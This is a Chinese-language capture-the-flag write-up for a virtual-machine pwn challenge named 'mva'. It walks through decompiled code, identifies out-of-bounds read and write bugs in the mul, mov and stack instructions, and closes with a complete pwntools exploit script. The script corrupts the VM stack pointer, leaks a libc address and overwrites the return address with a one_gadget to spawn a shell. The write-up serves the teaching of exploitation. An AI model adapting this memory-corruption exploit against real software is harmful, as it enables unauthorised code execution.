介绍

一般 VM PWN 的漏洞基本都是边界检测的问题,比如: 符号位的检测, SP 的检测啊,寄存器指针的检测等等

正式分析程序之前,需要手动设置 IDA, 修复 switch 结构的识别,可以参照 在 IDA Pro 中恢复 switch 语句

程序分析

稍做处理后,程序大概是这样

  puts("[+] Welcome to MVA, input your code now :");
  fread(&unk_4040, 0x100uLL, 1uLL, stdin);
  v3 = "[+] MVA is starting ...";
  puts("[+] MVA is starting ...");              
  while ( v6 )
  {
    v8 = ((__int64 (__fastcall *)(const char *))sub_11E9)(v3);
    switch ( v8 )
    {
      case 0:
        v6 = 0;
        break;
      case 1:
        if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )// set
          exit(0);
        *((_WORD *)&reg + SBYTE2(v8)) = v7;
        break;
      case 2:
        if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(v8) > 5 || (v8 & 0x8000) != 0 )
          exit(0);
        if ( (char)v8 > 5 || (v8 & 0x80u) != 0 )
          exit(0);
        *((_WORD *)&reg + SBYTE2(v8)) = *((_WORD *)&reg + SBYTE1(v8)) + *((_WORD *)&reg + (char)v8);// add
        break;
      case 3:
        if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(v8) > 5 || (v8 & 0x8000) != 0 )
          exit(0);
        if ( (char)v8 > 5 || (v8 & 0x80u) != 0 )
          exit(0);
        *((_WORD *)&reg + SBYTE2(v8)) = *((_WORD *)&reg + SBYTE1(v8)) - *((_WORD *)&reg + (char)v8);// sub
        break;
      case 4:
        if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(v8) > 5 || (v8 & 0x8000) != 0 )
          exit(0);
        if ( (char)v8 > 5 || (v8 & 0x80u) != 0 )
          exit(0);
        *((_WORD *)&reg + SBYTE2(v8)) = *((_WORD *)&reg + SBYTE1(v8)) & *((_WORD *)&reg + (char)v8);// and
        break;
        case 5:
        if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(v8) > 5 || (v8 & 0x8000) != 0 )
          exit(0);
        if ( (char)v8 > 5 || (v8 & 0x80u) != 0 )
          exit(0);
        *((_WORD *)&reg + SBYTE2(v8)) = *((_WORD *)&reg + SBYTE1(v8)) | *((_WORD *)&reg + (char)v8);// or
        break;
      case 6:
        if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(v8) > 5 || (v8 & 0x8000) != 0 )
          exit(0);
        *((_WORD *)&reg + SBYTE2(v8)) = (int)*((unsigned __int16 *)&reg + SBYTE2(v8)) >> *((_WORD *)&reg + SBYTE1(v8));// div
        break;
      case 7:
        if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(v8) > 5 || (v8 & 0x8000) != 0 )
          exit(0);
        if ( (char)v8 > 5 || (v8 & 0x80u) != 0 )
          exit(0);
        *((_WORD *)&reg + SBYTE2(v8)) = *((_WORD *)&reg + SBYTE1(v8)) ^ *((_WORD *)&reg + (char)v8);// xor
        break;
      case 8:
        JUMPOUT(0x1780LL);
      case 9:
        if ( vm_sp > 0x100 )
          exit(0);
        if ( BYTE2(v8) )
          stack[vm_sp] = v7;                    // push,没有检查 vm_sp 小于 0
        else
          stack[vm_sp] = reg;
        ++vm_sp;
        break;
      case 10:
        if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )// pop, 没有检查 vm_sp 小于 0
          exit(0);
        if ( !vm_sp )
          exit(0);
        *((_WORD *)&reg + SBYTE2(v8)) = stack[--vm_sp];
        break;
      case 11:
        v9 = ((__int64 (__fastcall *)(const char *))sub_11E9)(v3);
        if ( v5 == 1 )
          dword_403C = v9;
        break;
      case 12:
        if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(v8) > 5 || (v8 & 0x8000) != 0 )
          exit(0);
        v5 = *((_WORD *)&reg + SBYTE2(v8)) == *((_WORD *)&reg + SBYTE1(v8));
        break;
      case 13:
        if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
          exit(0);
        if ( (char)v8 > 5 || (v8 & 0x80u) != 0 )
          exit(0);
        *((_WORD *)&reg + SBYTE2(v8)) = *((_WORD *)&reg + SBYTE1(v8)) * *((_WORD *)&reg + (char)v8);// mul,没有检查参数二
        break;
      case 14:
        if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(v8) > 5 )
          exit(0);
        *((_WORD *)&reg + SBYTE1(v8)) = *((_WORD *)&reg + SBYTE2(v8));// mov, 没有检查参数二
        break;
      case 15:
        v3 = "%d\n";
        printf("%d\n", (unsigned __int16)stack[vm_sp]);
        break;
    }
  }
  puts("[+] MVA is shutting down ...");
  return 0LL;

先读取 0x100 长度的指令,然后执行相应的功能,一些数据结构的语义还是看汇编代码更清晰

.text:000000000000135E                 mov     eax, 0
.text:0000000000001363                 call    sub_11E9
.text:0000000000001368                 mov     [rbp+var_23C], eax       # 每条指令
.text:000000000000136E                 mov     eax, [rbp+var_23C]
.text:0000000000001374                 shr     eax, 24
.text:0000000000001377                 mov     [rbp+var_240], ax        # op, 0, 1, 2, ..., 15
.text:000000000000137E                 mov     eax, [rbp+var_23C]
.text:0000000000001384                 sar     eax, 16
.text:0000000000001387                 mov     [rbp+op1], al            # op1, rbp-0x249
.text:000000000000138D                 mov     eax, [rbp+var_23C]
.text:0000000000001393                 sar     ax, 8
.text:0000000000001397                 mov     [rbp+op2], al            # op2, rbp-0x248
.text:000000000000139D                 mov     eax, [rbp+var_23C]
.text:00000000000013A3                 mov     [rbp+op3], al            # op3, rbp-0x247
.text:00000000000013A9                 mov     eax, [rbp+var_23C]
.text:00000000000013AF                 mov     [rbp+var_23E], ax

v6 对应 op, SBYTE2(v8) 对应 op1, SBYTE2(v8) 对应 op2, (char)v8 对应 op3, 操作数最多可以有 3 个, 寄存器数量最多可以是 5 个,每个寄存器长度是 2 个字节

重难点在于逆向分析每个功能的语义

本题漏洞点

  • mul 指令没有对第二个操作数进行校验,存在越界读取
  • mov 指令没有对第二个操作数进行校验,存在越界写入
  • 没有检查 vm_sp 小于 0,存在越界读写

利用思路

  • 越界读取可以溢出读栈上存放的 libc 地址
  • 越界写可以修改 vm_sp 计数器,向上或者向下溢出
  • 最后利用 push 功能改返回地址为 one_gadget

EXP

from pwn import *

context(arch="amd64", log_level="debug", os="linux")
context.terminal = ['tmux','splitw','-h']

binary = './mva'
elf = ELF(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')   # 
p = process(binary)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims             :p.recvuntil(delims)
rl      = lambda                    :p.recvline()
rls     = lambda num=1              :p.recvlines(num)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

def dbg(cmd):
        gdb.attach(p, cmd)
        pause()

def pack(op, op1, op2, op3):
        return p8(op) + p8(op1) + p8(op2) + p8(op3)

def set(op1, val):
        return pack(1, op1, (val >> 8) & 0xff, val & 0xff)

def add(op1, op2, op3):
        return pack(2, op1, op2, op3)

def sub(op1, op2, op3):
        return pack(3, op1, op2, op3)

def push():
        return pack(9, 0, 0, 0)

def pop(op1):
        return pack(10, op1, 0, 0)

def mov(src, dst):
        return pack(14, src, dst, 0)

# cmd = '''
# b *0x555555554000+0x1439
# b *0x555555554000+0x19FE
# b *0x555555554000+0x180E
# b *0x555555554000+0x1871
# '''
# dbg(cmd)

# GLIBC 2.31-0ubuntu9.7
__libc_start_main_offset = 0x240b3
one_gadget_offset = 0xe3b31     

pay = b''
pay += set(0, 0x8000)
pay += mov(0, 0xf9)     # set vm_sp[7:6] = 0x8000, negitive number, to bypass check 
pay += set(0, 0x010c+2)
pay += mov(0, 0xf6)     # set vm_sp[1:0] = 0x010c, so rbp+rax*2+stack = ret_addr 

# leak ret address
pay += pop(0)           # __libc_start_main[3:2]
pay += pop(1)           # __libc_start_main[1:0]

# get libc base
pay += set(3, 0x2)
pay += sub(0, 0, 3)     # __libc_start_main[3:2] - 0x2
pay += set(3, 0x40b3)
pay += sub(1, 1, 3)     # __libc_start_main[1:0] - 0x40b3

# get one_gadget
pay += set(3, 0xe)
pay += add(0, 0, 3)     # libc[3:2] + 0xe     = one_gadget[3:2]
pay += set(3, 0x3b31)
pay += add(1, 1, 3)     # libc[1:0] + 0x3b31  = one_gadget[1:0]

# overwirte ret address to one_gadget
pay += mov(0, 3)
pay += mov(1, 0)
pay += push()           # ret address[1:0] = one_gadget[1:0]
pay += mov(3, 0)
pay += push()           # ret address[3:2] = one_gadget[3:2]

pay = pay.ljust(0x100, b'\x00')
sl(pay)
itr()